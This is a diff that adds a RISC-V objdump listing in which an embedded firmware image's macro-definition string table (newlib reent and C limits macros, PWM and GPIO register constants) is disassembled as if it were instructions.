+    3be6:	3654                	fld	fa3,168(a2)
+    3be8:	5f34                	lw	a3,120(a4)
+    3bea:	54444957          	0x54444957
+    3bee:	5f48                	lw	a0,60(a4)
+    3bf0:	205f 3436 5500      	0x55003436205f
+    3bf6:	4f4c                	lw	a1,28(a4)
+    3bf8:	474e                	lw	a4,208(sp)
+    3bfa:	4d5f 5841 5f00      	0x5f0058414d5f
+    3c00:	6e5f 6565 5f64      	0x5f6465656e5f
+    3c06:	657a6973          	csrrsi	s2,0x657,20
+    3c0a:	745f 0020 535f      	0x535f0020745f
+    3c10:	5359                	li	t1,-10
+    3c12:	5f5f 4954 454d      	0x454d49545f5f
+    3c18:	43455053          	0x43455053
+    3c1c:	485f 205f 5f00      	0x5f00205f485f
+    3c22:	545f4353          	0x545f4353
+    3c26:	5248                	lw	a0,36(a2)
+    3c28:	4145                	li	sp,17
+    3c2a:	5f44                	lw	s1,60(a4)
+    3c2c:	43415453          	0x43415453
+    3c30:	494d5f4b          	fnmsub.s	ft10,fs10,fs4,fs1,unknown
+    3c34:	204e                	fld	ft0,208(sp)
+    3c36:	5f003933          	0x5f003933
+    3c3a:	435f 4148 5f52      	0x5f524148435f
+    3c40:	4e55                	li	t3,21
+    3c42:	4e474953          	0x4e474953
+    3c46:	4445                	li	s0,17
+    3c48:	5f5f 3120 5000      	0x500031205f5f
+    3c4e:	435f4d57          	0x435f4d57
+    3c52:	4746                	lw	a4,80(sp)
+    3c54:	435f 504d 4730      	0x4730504d435f
+    3c5a:	4e41                	li	t3,16
+    3c5c:	78302047          	fmsub.s	ft0,ft0,ft3,fa5,rdn
+    3c60:	3130                	fld	fa2,96(a0)
+    3c62:	3030                	fld	fa2,96(s0)
+    3c64:	3030                	fld	fa2,96(s0)
+    3c66:	3030                	fld	fa2,96(s0)
+    3c68:	5f00                	lw	s0,56(a4)
+    3c6a:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    3c70:	494d                	li	s2,19
+    3c72:	5f4e                	lw	t5,240(sp)
+    3c74:	5845                	li	a6,-15
+    3c76:	5f50                	lw	a2,60(a4)
+    3c78:	205f 2d28 3631      	0x36312d28205f
+    3c7e:	29313833          	0x29313833
+    3c82:	5300                	lw	s0,32(a4)
+    3c84:	495f 4757 5052      	0x50524757495f
+    3c8a:	3020                	fld	fs0,96(s0)
+    3c8c:	3030                	fld	fa2,96(s0)
+    3c8e:	3030                	fld	fa2,96(s0)
+    3c90:	3032                	fld	ft0,296(sp)
+    3c92:	5f00                	lw	s0,56(a4)
+    3c94:	5342                	lw	t1,48(sp)
+    3c96:	5f44                	lw	s1,60(a4)
+    3c98:	41484357          	0x41484357
+    3c9c:	5f52                	lw	t5,52(sp)
+    3c9e:	5f54                	lw	a3,60(a4)
+    3ca0:	5f00                	lw	s0,56(a4)
+    3ca2:	535f 4843 5241      	0x52414843535f
+    3ca8:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    3cae:	3020                	fld	fs0,96(s0)
+    3cb0:	3778                	fld	fa4,232(a4)
+    3cb2:	0066                	c.slli	zero,0x19
+    3cb4:	5f5f 4347 5f43      	0x5f4343475f5f
+    3cba:	4148                	lw	a0,4(a0)
+    3cbc:	4556                	lw	a0,84(sp)
+    3cbe:	445f 4157 4652      	0x46524157445f
+    3cc4:	5f32                	lw	t5,44(sp)
+    3cc6:	5f494643          	fmadd.q	fa2,fs2,fs4,fa1,rmm
+    3cca:	5341                	li	t1,-16
+    3ccc:	204d                	jal	3d6e <__stack_size+0x356e>
+    3cce:	0031                	c.nop	12
+    3cd0:	4e49                	li	t3,18
+    3cd2:	3154                	fld	fa3,160(a0)
+    3cd4:	5f36                	lw	t5,108(sp)
+    3cd6:	414d                	li	sp,19
+    3cd8:	2058                	fld	fa4,128(s0)
+    3cda:	5f5f 4e49 3154      	0x31544e495f5f
+    3ce0:	5f36                	lw	t5,108(sp)
+    3ce2:	414d                	li	sp,19
+    3ce4:	5f58                	lw	a4,60(a4)
+    3ce6:	005f 4843 5241      	0x52414843005f
+    3cec:	4d5f 5841 5520      	0x552058414d5f
+    3cf2:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    3cf6:	4d5f 5841 5f00      	0x5f0058414d5f
+    3cfc:	535f 504e 2054      	0x2054504e535f
+    3d02:	7830                	flw	fa2,112(s0)
+    3d04:	3830                	fld	fa2,112(s0)
+    3d06:	3030                	fld	fa2,96(s0)
+    3d08:	5700                	lw	s0,40(a4)
+    3d0a:	4f5f 204b 0032      	0x32204b4f5f
+    3d10:	5f5f 656e 6465      	0x6465656e5f5f
+    3d16:	735f 7a69 5f65      	0x5f657a69735f
+    3d1c:	0074                	addi	a3,sp,12
+    3d1e:	5442                	lw	s0,48(sp)
+    3d20:	304e                	fld	ft0,240(sp)
+    3d22:	3120                	fld	fs0,96(a0)
+    3d24:	0035                	c.nop	13
+    3d26:	4f4c                	lw	a1,28(a4)
+    3d28:	555f4b43          	0x555f4b43
+    3d2c:	204e                	fld	ft0,208(sp)
+    3d2e:	7830                	flw	fa2,112(s0)
+    3d30:	3830                	fld	fa2,112(s0)
+    3d32:	7000                	flw	fs0,32(s0)
+    3d34:	696c                	flw	fa1,84(a0)
+    3d36:	6e695f63          	bge	s2,t1,4434 <__stack_size+0x3c34>
+    3d3a:	0074                	addi	a3,sp,12
+    3d3c:	5f5f 4e49 3154      	0x31544e495f5f
+    3d42:	5f36                	lw	t5,108(sp)
+    3d44:	414d                	li	sp,19
+    3d46:	5f58                	lw	a4,60(a4)
+    3d48:	205f 7830 6637      	0x66377830205f
+    3d4e:	6666                	flw	fa2,88(sp)
+    3d50:	5500                	lw	s0,40(a0)
+    3d52:	4e49                	li	t3,18
+    3d54:	5f54                	lw	a3,60(a4)
+    3d56:	4146                	lw	sp,80(sp)
+    3d58:	32335453          	0x32335453
+    3d5c:	4d5f 5841 5f20      	0x5f2058414d5f
+    3d62:	555f 4e49 5f54      	0x5f544e49555f
+    3d68:	4146                	lw	sp,80(sp)
+    3d6a:	32335453          	0x32335453
+    3d6e:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    3d74:	4600                	lw	s0,8(a2)
+    3d76:	4f4e                	lw	t5,208(sp)
+    3d78:	59545443          	fmadd.s	fs0,fs0,fs5,fa1,unknown
+    3d7c:	5f20                	lw	s0,120(a4)
+    3d7e:	4e46                	lw	t3,80(sp)
+    3d80:	5454434f          	0x5454434f
+    3d84:	0059                	c.nop	22
+    3d86:	4e49                	li	t3,18
+    3d88:	5f54                	lw	a3,60(a4)
+    3d8a:	414d                	li	sp,19
+    3d8c:	2058                	fld	fa4,128(s0)
+    3d8e:	5f5f 4e49 5f54      	0x5f544e495f5f
+    3d94:	414d                	li	sp,19
+    3d96:	5f58                	lw	a4,60(a4)
+    3d98:	005f 5f5f 6f63      	0x6f635f5f005f
+    3d9e:	746e                	flw	fs0,248(sp)
+    3da0:	6961                	lui	s2,0x18
+    3da2:	656e                	flw	fa0,216(sp)
+    3da4:	6f72                	flw	ft10,28(sp)
+    3da6:	2866                	fld	fa6,88(sp)
+    3da8:	2c78                	fld	fa4,216(s0)
+    3daa:	296d2c73          	csrrs	s8,0x296,s10
+    3dae:	2820                	fld	fs0,80(s0)
+    3db0:	6f63207b          	0x6f63207b
+    3db4:	736e                	flw	ft6,248(sp)
+    3db6:	2074                	fld	fa3,192(s0)
+    3db8:	6f76                	flw	ft10,92(sp)
+    3dba:	616c                	flw	fa1,68(a0)
+    3dbc:	6974                	flw	fa3,84(a0)
+    3dbe:	656c                	flw	fa1,76(a0)
+    3dc0:	5f20                	lw	s0,120(a4)
+    3dc2:	745f 7079 6f65      	0x6f657079745f
+    3dc8:	2866                	fld	fa6,88(sp)
+    3dca:	2828                	fld	fa0,80(s0)
+    3dcc:	292a2073          	csrs	0x292,s4
+    3dd0:	2930                	fld	fa2,80(a0)
+    3dd2:	3e2d                	jal	390c <__stack_size+0x310c>
+    3dd4:	296d                	jal	428e <__stack_size+0x3a8e>
+    3dd6:	2a20                	fld	fs0,80(a2)
+    3dd8:	5f5f 2078 203d      	0x203d20785f5f
+    3dde:	7828                	flw	fa0,112(s0)
+    3de0:	3b29                	jal	3afa <__stack_size+0x32fa>
+    3de2:	5f20                	lw	s0,120(a4)
+    3de4:	445f 5145 4155      	0x41555145445f
+    3dea:	494c                	lw	a1,20(a0)
+    3dec:	5946                	lw	s2,112(sp)
+    3dee:	7328                	flw	fa0,96(a4)
+    3df0:	2a20                	fld	fs0,80(a2)
+    3df2:	202c                	fld	fa1,64(s0)
+    3df4:	6328                	flw	fa0,64(a4)
+    3df6:	74736e6f          	jal	t3,3ad3c <__stack_size+0x3a53c>
+    3dfa:	7620                	flw	fs0,104(a2)
+    3dfc:	74616c6f          	jal	s8,1a542 <__stack_size+0x19d42>
+    3e00:	6c69                	lui	s8,0x1a
+    3e02:	2065                	jal	3eaa <__stack_size+0x36aa>
+    3e04:	72616863          	bltu	sp,t1,4534 <__stack_size+0x3d34>
+    3e08:	2a20                	fld	fs0,80(a2)
+    3e0a:	5f29                	li	t5,-22
+    3e0c:	785f 2d20 5f20      	0x5f202d20785f
+    3e12:	6f5f 6666 6573      	0x657366666f5f
+    3e18:	6f74                	flw	fa3,92(a4)
+    3e1a:	2866                	fld	fa6,88(sp)
+    3e1c:	6d202c73          	csrr	s8,0x6d2
+    3e20:	2929                	jal	423a <__stack_size+0x3a3a>
+    3e22:	00297d3b          	0x297d3b
+    3e26:	4e49                	li	t3,18
+    3e28:	5f54                	lw	a3,60(a4)
+    3e2a:	454c                	lw	a1,12(a0)
+    3e2c:	5341                	li	t1,-16
+    3e2e:	3354                	fld	fa3,160(a4)
+    3e30:	5f32                	lw	t5,44(sp)
+    3e32:	414d                	li	sp,19
+    3e34:	2058                	fld	fa4,128(s0)
+    3e36:	5f5f 4e49 5f54      	0x5f544e495f5f
+    3e3c:	454c                	lw	a1,12(a0)
+    3e3e:	5341                	li	t1,-16
+    3e40:	3354                	fld	fa3,160(a4)
+    3e42:	5f32                	lw	t5,44(sp)
+    3e44:	414d                	li	sp,19
+    3e46:	5f58                	lw	a4,60(a4)
+    3e48:	005f 5845 5250      	0x52505845005f
+    3e4e:	4e5f 5345 5f54      	0x5f5453454e5f
+    3e54:	414d                	li	sp,19
+    3e56:	2058                	fld	fa4,128(s0)
+    3e58:	54003233          	0x54003233
+    3e5c:	4d49                	li	s10,18
+    3e5e:	5645                	li	a2,-15
+    3e60:	4c41                	li	s8,16
+    3e62:	545f 5f4f 4954      	0x49545f4f545f
+    3e68:	454d                	li	a0,19
+    3e6a:	43455053          	0x43455053
+    3e6e:	7428                	flw	fa0,104(s0)
+    3e70:	2c76                	fld	fs8,344(sp)
+    3e72:	7374                	flw	fa3,100(a4)
+    3e74:	2029                	jal	3e7e <__stack_size+0x367e>
+    3e76:	6f64                	flw	fs1,92(a4)
+    3e78:	7b20                	flw	fs0,112(a4)
+    3e7a:	2820                	fld	fs0,80(s0)
+    3e7c:	7374                	flw	fa3,100(a4)
+    3e7e:	2d29                	jal	4498 <__stack_size+0x3c98>
+    3e80:	743e                	flw	fs0,236(sp)
+    3e82:	5f76                	lw	t5,124(sp)
+    3e84:	20636573          	csrrsi	a0,0x206,6
+    3e88:	203d                	jal	3eb6 <__stack_size+0x36b6>
+    3e8a:	7428                	flw	fa0,104(s0)
+    3e8c:	2976                	fld	fs2,344(sp)
+    3e8e:	3e2d                	jal	39c8 <__stack_size+0x31c8>
+    3e90:	7674                	flw	fa3,108(a2)
+    3e92:	735f 6365 203b      	0x203b6365735f
+    3e98:	7428                	flw	fa0,104(s0)
+    3e9a:	3e2d2973          	csrrs	s2,0x3e2,s10
+    3e9e:	7674                	flw	fa3,108(a2)
+    3ea0:	6e5f 6573 2063      	0x206365736e5f
+    3ea6:	203d                	jal	3ed4 <__stack_size+0x36d4>
+    3ea8:	7428                	flw	fa0,104(s0)
+    3eaa:	2976                	fld	fs2,344(sp)
+    3eac:	3e2d                	jal	39e6 <__stack_size+0x31e6>
+    3eae:	7674                	flw	fa3,108(a2)
+    3eb0:	755f 6573 2063      	0x20636573755f
+    3eb6:	202a                	fld	ft0,136(sp)
+    3eb8:	3031                	jal	36c4 <__stack_size+0x2ec4>
+    3eba:	3030                	fld	fa2,96(s0)
+    3ebc:	207d203b          	0x207d203b
+    3ec0:	6c696877          	0x6c696877
+    3ec4:	2065                	jal	3f6c <__stack_size+0x376c>
+    3ec6:	3028                	fld	fa0,96(s0)
+    3ec8:	0029                	c.nop	10
+    3eca:	5f5f 4c46 5f54      	0x5f544c465f5f
+    3ed0:	4148                	lw	a0,4(a0)
+    3ed2:	55515f53          	0x55515f53
+    3ed6:	4549                	li	a0,18
+    3ed8:	5f54                	lw	a3,60(a4)
+    3eda:	414e                	lw	sp,208(sp)
+    3edc:	5f4e                	lw	t5,240(sp)
+    3ede:	205f 0031 535f      	0x535f0031205f
+    3ee4:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
+    3ee8:	4250                	lw	a2,4(a2)
+    3eea:	48435f53          	0x48435f53
+    3eee:	4345                	li	t1,17
+    3ef0:	494f504b          	fnmsub.s	ft0,ft10,fs4,fs1,unknown
+    3ef4:	544e                	lw	s0,240(sp)
+    3ef6:	3120                	fld	fs0,96(a0)
+    3ef8:	3531                	jal	3d04 <__stack_size+0x3504>
+    3efa:	5f00                	lw	s0,56(a4)
+    3efc:	4544                	lw	s1,12(a0)
+    3efe:	5f56                	lw	t5,116(sp)
+    3f00:	5f54                	lw	a3,60(a4)
+    3f02:	4544                	lw	s1,12(a0)
+    3f04:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    3f08:	4445                	li	s0,17
+    3f0a:	0020                	addi	s0,sp,8
+    3f0c:	4955                	li	s2,21
+    3f0e:	544e                	lw	s0,240(sp)
+    3f10:	465f 5341 3654      	0x36545341465f
+    3f16:	5f34                	lw	a3,120(a4)
+    3f18:	414d                	li	sp,19
+    3f1a:	2058                	fld	fa4,128(s0)
+    3f1c:	5f5f 4955 544e      	0x544e49555f5f
+    3f22:	465f 5341 3654      	0x36545341465f
+    3f28:	5f34                	lw	a3,120(a4)
+    3f2a:	414d                	li	sp,19
+    3f2c:	5f58                	lw	a4,60(a4)
+    3f2e:	005f 5047 4f49      	0x4f495047005f
+    3f34:	495f 464f 535f      	0x535f464f495f
+    3f3a:	4c45                	li	s8,17
+    3f3c:	3020                	fld	fs0,96(s0)
+    3f3e:	3378                	fld	fa4,224(a4)
+    3f40:	49540043          	fmadd.s	ft0,fs0,fs5,fs1,rne
+    3f44:	454d                	li	a0,19
+    3f46:	5f52                	lw	t5,52(sp)
+    3f48:	4241                	li	tp,16
+    3f4a:	4d495453          	0x4d495453
+    3f4e:	2045                	jal	3fee <__stack_size+0x37ee>
+    3f50:	0034                	addi	a3,sp,8
+    3f52:	535f 5f43 4f58      	0x4f585f43535f
+    3f58:	4550                	lw	a2,12(a0)
+    3f5a:	5f4e                	lw	t5,240(sp)
+    3f5c:	204d4853          	0x204d4853
+    3f60:	3031                	jal	376c <__stack_size+0x2f6c>
+    3f62:	49530033          	0x49530033
+    3f66:	54415f47          	0x54415f47
+    3f6a:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    3f6e:	4d5f 5841 5f20      	0x5f2058414d5f
+    3f74:	535f 4749 415f      	0x415f4749535f
+    3f7a:	4f54                	lw	a3,28(a4)
+    3f7c:	494d                	li	s2,19
+    3f7e:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
+    3f82:	5f58                	lw	a4,60(a4)
+    3f84:	005f 525f 4545      	0x4545525f005f
+    3f8a:	544e                	lw	s0,240(sp)
+    3f8c:	495f 494e 5f54      	0x5f54494e495f
+    3f92:	5450                	lw	a2,44(s0)
+    3f94:	5f52                	lw	t5,52(sp)
+    3f96:	455a                	lw	a0,148(sp)
+    3f98:	4f52                	lw	t5,20(sp)
+    3f9a:	4445                	li	s0,17
+    3f9c:	7628                	flw	fa0,104(a2)
+    3f9e:	7261                	lui	tp,0xffff8
+    3fa0:	2029                	jal	3faa <__stack_size+0x37aa>
+    3fa2:	7628207b          	0x7628207b
+    3fa6:	7261                	lui	tp,0xffff8
+    3fa8:	2d29                	jal	45c2 <__stack_size+0x3dc2>
+    3faa:	5f3e                	lw	t5,236(sp)
+    3fac:	69647473          	csrrci	s0,0x696,8
+    3fb0:	206e                	fld	ft0,216(sp)
+    3fb2:	203d                	jal	3fe0 <__stack_size+0x37e0>
+    3fb4:	525f 4545 544e      	0x544e4545525f
+    3fba:	535f 4454 4f49      	0x4f494454535f
+    3fc0:	535f 5254 4145      	0x41455254535f
+    3fc6:	284d                	jal	4078 <__stack_size+0x3878>
+    3fc8:	6176                	flw	ft2,92(sp)
+    3fca:	2c72                	fld	fs8,280(sp)
+    3fcc:	3020                	fld	fs0,96(s0)
+    3fce:	3b29                	jal	3ce8 <__stack_size+0x34e8>
+    3fd0:	2820                	fld	fs0,80(s0)
+    3fd2:	6176                	flw	ft2,92(sp)
+    3fd4:	2972                	fld	fs2,280(sp)
+    3fd6:	3e2d                	jal	3b10 <__stack_size+0x3310>
+    3fd8:	735f 6474 756f      	0x756f6474735f
+    3fde:	2074                	fld	fa3,192(s0)
+    3fe0:	203d                	jal	400e <__stack_size+0x380e>
+    3fe2:	525f 4545 544e      	0x544e4545525f
+    3fe8:	535f 4454 4f49      	0x4f494454535f
+    3fee:	535f 5254 4145      	0x41455254535f
+    3ff4:	284d                	jal	40a6 <__stack_size+0x38a6>
+    3ff6:	6176                	flw	ft2,92(sp)
+    3ff8:	2c72                	fld	fs8,280(sp)
+    3ffa:	3120                	fld	fs0,96(a0)
+    3ffc:	3b29                	jal	3d16 <__stack_size+0x3516>
+    3ffe:	2820                	fld	fs0,80(s0)
+    4000:	6176                	flw	ft2,92(sp)
+    4002:	2972                	fld	fs2,280(sp)
+    4004:	3e2d                	jal	3b3e <__stack_size+0x333e>
+    4006:	735f 6474 7265      	0x72656474735f
+    400c:	2072                	fld	ft0,280(sp)
+    400e:	203d                	jal	403c <__stack_size+0x383c>
+    4010:	525f 4545 544e      	0x544e4545525f
+    4016:	535f 4454 4f49      	0x4f494454535f
+    401c:	535f 5254 4145      	0x41455254535f
+    4022:	284d                	jal	40d4 <__stack_size+0x38d4>
+    4024:	6176                	flw	ft2,92(sp)
+    4026:	2c72                	fld	fs8,280(sp)
+    4028:	3220                	fld	fs0,96(a2)
+    402a:	3b29                	jal	3d44 <__stack_size+0x3544>
+    402c:	2820                	fld	fs0,80(s0)
+    402e:	6176                	flw	ft2,92(sp)
+    4030:	2972                	fld	fs2,280(sp)
+    4032:	3e2d                	jal	3b6c <__stack_size+0x336c>
+    4034:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    403a:	6572                	flw	fa0,28(sp)
+    403c:	6e65                	lui	t3,0x19
+    403e:	2e74                	fld	fa3,216(a2)
+    4040:	725f 6e61 5f64      	0x5f646e61725f
+    4046:	656e                	flw	fa0,216(sp)
+    4048:	7478                	flw	fa4,108(s0)
+    404a:	3d20                	fld	fs0,120(a0)
+    404c:	3120                	fld	fs0,96(a0)
+    404e:	7628203b          	0x7628203b
+    4052:	7261                	lui	tp,0xffff8
+    4054:	2d29                	jal	466e <__stack_size+0x3e6e>
+    4056:	5f3e                	lw	t5,236(sp)
+    4058:	656e                	flw	fa0,216(sp)
+    405a:	725f2e77          	0x725f2e77
+    405e:	6565                	lui	a0,0x19
+    4060:	746e                	flw	fs0,248(sp)
+    4062:	5f2e                	lw	t5,232(sp)
+    4064:	3472                	fld	fs0,312(sp)
+    4066:	2e38                	fld	fa4,88(a2)
+    4068:	735f 6565 5b64      	0x5b646565735f
+    406e:	5d30                	lw	a2,120(a0)
+    4070:	3d20                	fld	fs0,120(a0)
+    4072:	5f20                	lw	s0,120(a4)
+    4074:	4152                	lw	sp,20(sp)
+    4076:	444e                	lw	s0,208(sp)
+    4078:	3834                	fld	fa3,112(s0)
+    407a:	535f 4545 5f44      	0x5f444545535f
+    4080:	3b30                	fld	fa2,112(a4)
+    4082:	2820                	fld	fs0,80(s0)
+    4084:	6176                	flw	ft2,92(sp)
+    4086:	2972                	fld	fs2,280(sp)
+    4088:	3e2d                	jal	3bc2 <__stack_size+0x33c2>
+    408a:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    4090:	6572                	flw	fa0,28(sp)
+    4092:	6e65                	lui	t3,0x19
+    4094:	2e74                	fld	fa3,216(a2)
+    4096:	725f 3834 5f2e      	0x5f2e3834725f
+    409c:	64656573          	csrrsi	a0,0x646,10
+    40a0:	205d315b          	0x205d315b
+    40a4:	203d                	jal	40d2 <__stack_size+0x38d2>
+    40a6:	525f 4e41 3444      	0x34444e41525f
+    40ac:	5f38                	lw	a4,120(a4)
+    40ae:	44454553          	0x44454553
+    40b2:	315f 203b 7628      	0x7628203b315f
+    40b8:	7261                	lui	tp,0xffff8
+    40ba:	2d29                	jal	46d4 <__stack_size+0x3ed4>
+    40bc:	5f3e                	lw	t5,236(sp)
+    40be:	656e                	flw	fa0,216(sp)
+    40c0:	725f2e77          	0x725f2e77
+    40c4:	6565                	lui	a0,0x19
+    40c6:	746e                	flw	fs0,248(sp)
+    40c8:	5f2e                	lw	t5,232(sp)
+    40ca:	3472                	fld	fs0,312(sp)
+    40cc:	2e38                	fld	fa4,88(a2)
+    40ce:	735f 6565 5b64      	0x5b646565735f
+    40d4:	5d32                	lw	s10,44(sp)
+    40d6:	3d20                	fld	fs0,120(a0)
+    40d8:	5f20                	lw	s0,120(a4)
+    40da:	4152                	lw	sp,20(sp)
+    40dc:	444e                	lw	s0,208(sp)
+    40de:	3834                	fld	fa3,112(s0)
+    40e0:	535f 4545 5f44      	0x5f444545535f
+    40e6:	3b32                	fld	fs6,296(sp)
+    40e8:	2820                	fld	fs0,80(s0)
+    40ea:	6176                	flw	ft2,92(sp)
+    40ec:	2972                	fld	fs2,280(sp)
+    40ee:	3e2d                	jal	3c28 <__stack_size+0x3428>
+    40f0:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    40f6:	6572                	flw	fa0,28(sp)
+    40f8:	6e65                	lui	t3,0x19
+    40fa:	2e74                	fld	fa3,216(a2)
+    40fc:	725f 3834 5f2e      	0x5f2e3834725f
+    4102:	756d                	lui	a0,0xffffb
+    4104:	746c                	flw	fa1,108(s0)
+    4106:	205d305b          	0x205d305b
+    410a:	203d                	jal	4138 <__stack_size+0x3938>
+    410c:	525f 4e41 3444      	0x34444e41525f
+    4112:	5f38                	lw	a4,120(a4)
+    4114:	554d                	li	a0,-13
+    4116:	544c                	lw	a1,44(s0)
+    4118:	305f 203b 7628      	0x7628203b305f
+    411e:	7261                	lui	tp,0xffff8
+    4120:	2d29                	jal	473a <__stack_size+0x3f3a>
+    4122:	5f3e                	lw	t5,236(sp)
+    4124:	656e                	flw	fa0,216(sp)
+    4126:	725f2e77          	0x725f2e77
+    412a:	6565                	lui	a0,0x19
+    412c:	746e                	flw	fs0,248(sp)
+    412e:	5f2e                	lw	t5,232(sp)
+    4130:	3472                	fld	fs0,312(sp)
+    4132:	2e38                	fld	fa4,88(a2)
+    4134:	6d5f 6c75 5b74      	0x5b746c756d5f
+    413a:	5d31                	li	s10,-20
+    413c:	3d20                	fld	fs0,120(a0)
+    413e:	5f20                	lw	s0,120(a4)
+    4140:	4152                	lw	sp,20(sp)
+    4142:	444e                	lw	s0,208(sp)
+    4144:	3834                	fld	fa3,112(s0)
+    4146:	4d5f 4c55 5f54      	0x5f544c554d5f
+    414c:	3b31                	jal	3e68 <__stack_size+0x3668>
+    414e:	2820                	fld	fs0,80(s0)
+    4150:	6176                	flw	ft2,92(sp)
+    4152:	2972                	fld	fs2,280(sp)
+    4154:	3e2d                	jal	3c8e <__stack_size+0x348e>
+    4156:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    415c:	6572                	flw	fa0,28(sp)
+    415e:	6e65                	lui	t3,0x19
+    4160:	2e74                	fld	fa3,216(a2)
+    4162:	725f 3834 5f2e      	0x5f2e3834725f
+    4168:	756d                	lui	a0,0xffffb
+    416a:	746c                	flw	fa1,108(s0)
+    416c:	205d325b          	0x205d325b
+    4170:	203d                	jal	419e <__stack_size+0x399e>
+    4172:	525f 4e41 3444      	0x34444e41525f
+    4178:	5f38                	lw	a4,120(a4)
+    417a:	554d                	li	a0,-13
+    417c:	544c                	lw	a1,44(s0)
+    417e:	325f 203b 7628      	0x7628203b325f
+    4184:	7261                	lui	tp,0xffff8
+    4186:	2d29                	jal	47a0 <__stack_size+0x3fa0>
+    4188:	5f3e                	lw	t5,236(sp)
+    418a:	656e                	flw	fa0,216(sp)
+    418c:	725f2e77          	0x725f2e77
+    4190:	6565                	lui	a0,0x19
+    4192:	746e                	flw	fs0,248(sp)
+    4194:	5f2e                	lw	t5,232(sp)
+    4196:	3472                	fld	fs0,312(sp)
+    4198:	2e38                	fld	fa4,88(a2)
+    419a:	615f 6464 3d20      	0x3d206464615f
+    41a0:	5f20                	lw	s0,120(a4)
+    41a2:	4152                	lw	sp,20(sp)
+    41a4:	444e                	lw	s0,208(sp)
+    41a6:	3834                	fld	fa3,112(s0)
+    41a8:	415f 4444 203b      	0x203b4444415f
+    41ae:	007d                	c.nop	31
+    41b0:	5f5f 4c46 3654      	0x36544c465f5f
+    41b6:	5834                	lw	a3,112(s0)
+    41b8:	4e5f 524f 5f4d      	0x5f4d524f4e5f
+    41be:	414d                	li	sp,19
+    41c0:	5f58                	lw	a4,60(a4)
+    41c2:	205f 2e31 3831      	0x38312e31205f
+    41c8:	3739                	jal	40d6 <__stack_size+0x38d6>
+    41ca:	39343133          	0x39343133
+    41ce:	3335                	jal	3efa <__stack_size+0x36fa>
+    41d0:	3735                	jal	40fc <__stack_size+0x38fc>
+    41d2:	3332                	fld	ft6,296(sp)
+    41d4:	3731                	jal	40e0 <__stack_size+0x38e0>
+    41d6:	3536                	fld	fa0,360(sp)
+    41d8:	3830                	fld	fa2,112(s0)
+    41da:	3735                	jal	4106 <__stack_size+0x3906>
+    41dc:	3935                	jal	3e18 <__stack_size+0x3618>
+    41de:	36363233          	0x36363233
+    41e2:	3832                	fld	fa6,296(sp)
+    41e4:	3030                	fld	fa2,96(s0)
+    41e6:	65323037          	lui	zero,0x65323
+    41ea:	3339342b          	0x3339342b
+    41ee:	4632                	lw	a2,12(sp)
+    41f0:	3436                	fld	fs0,360(sp)
+    41f2:	0078                	addi	a4,sp,12
+    41f4:	4955                	li	s2,21
+    41f6:	544e                	lw	s0,240(sp)
+    41f8:	414d                	li	sp,19
+    41fa:	5f58                	lw	a4,60(a4)
+    41fc:	425f0043          	fmadd.d	ft0,ft10,ft5,fs0,rne
+    4200:	575f4453          	0x575f4453
+    4204:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    4208:	545f 205f 5f00      	0x5f00205f545f
+    420e:	545f4353          	0x545f4353
+    4212:	5059                	c.li	zero,-10
+    4214:	4445                	li	s0,17
+    4216:	4d5f 4d45 524f      	0x524f4d454d5f
+    421c:	5f59                	li	t5,-10
+    421e:	454a424f          	0x454a424f
+    4222:	20535443          	fmadd.s	fs0,ft6,ft5,ft4,unknown
+    4226:	3139                	jal	3e34 <__stack_size+0x3634>
+    4228:	5f00                	lw	s0,56(a4)
+    422a:	535f 4843 5241      	0x52414843535f
+    4230:	575f 4449 4854      	0x48544449575f
+    4236:	5f5f 3820 4400      	0x440038205f5f
+    423c:	414d                	li	sp,19
+    423e:	435f 5f48 4241      	0x42415f48435f
+    4244:	5f54524f          	fnmadd.q	ft4,fs0,fs5,fa1,unknown
+    4248:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    424c:	7830                	flw	fa2,112(s0)
+    424e:	3034                	fld	fa3,96(s0)
+    4250:	5f00                	lw	s0,56(a4)
+    4252:	4f5f 4452 5245      	0x524544524f5f
+    4258:	505f 5044 455f      	0x455f5044505f
+    425e:	444e                	lw	s0,208(sp)
+    4260:	4149                	li	sp,18
+    4262:	5f4e                	lw	t5,240(sp)
+    4264:	205f 3433 3231      	0x32313433205f
+    426a:	5f00                	lw	s0,56(a4)
+    426c:	415f 4f54 494d      	0x494d4f54415f
+    4272:	43415f43          	fmadd.d	ft10,ft2,fs4,fs0,unknown
+    4276:	5551                	li	a0,-12
+    4278:	5249                	li	tp,-14
+    427a:	2045                	jal	431a <__stack_size+0x3b1a>
+    427c:	0032                	c.slli	zero,0xc
+    427e:	5750                	lw	a2,44(a4)
+    4280:	5f4d                	li	t5,-13
+    4282:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    4286:	30504d43          	fmadd.s	fs10,ft0,ft5,ft6,rmm
+    428a:	544e4543          	0x544e4543
+    428e:	5245                	li	tp,-15
+    4290:	3020                	fld	fs0,96(s0)
+    4292:	3078                	fld	fa4,224(s0)
+    4294:	3030                	fld	fa2,96(s0)
+    4296:	3031                	jal	3aa2 <__stack_size+0x32a2>
+    4298:	3030                	fld	fa2,96(s0)
+    429a:	0030                	addi	a2,sp,8
+    429c:	5f46                	lw	t5,112(sp)
+    429e:	54564e43          	0x54564e43
+    42a2:	3120                	fld	fs0,96(a0)
+    42a4:	0032                	c.slli	zero,0xc
+    42a6:	5f5f 4e49 5f54      	0x5f544e495f5f
+    42ac:	4146                	lw	sp,80(sp)
+    42ae:	32335453          	0x32335453
+    42b2:	575f 4449 4854      	0x48544449575f
+    42b8:	5f5f 3320 0032      	0x3233205f5f
+    42be:	5f5f 4e49 5f54      	0x5f544e495f5f
+    42c4:	4146                	lw	sp,80(sp)
+    42c6:	34365453          	0x34365453
+    42ca:	545f 5059 5f45      	0x5f455059545f
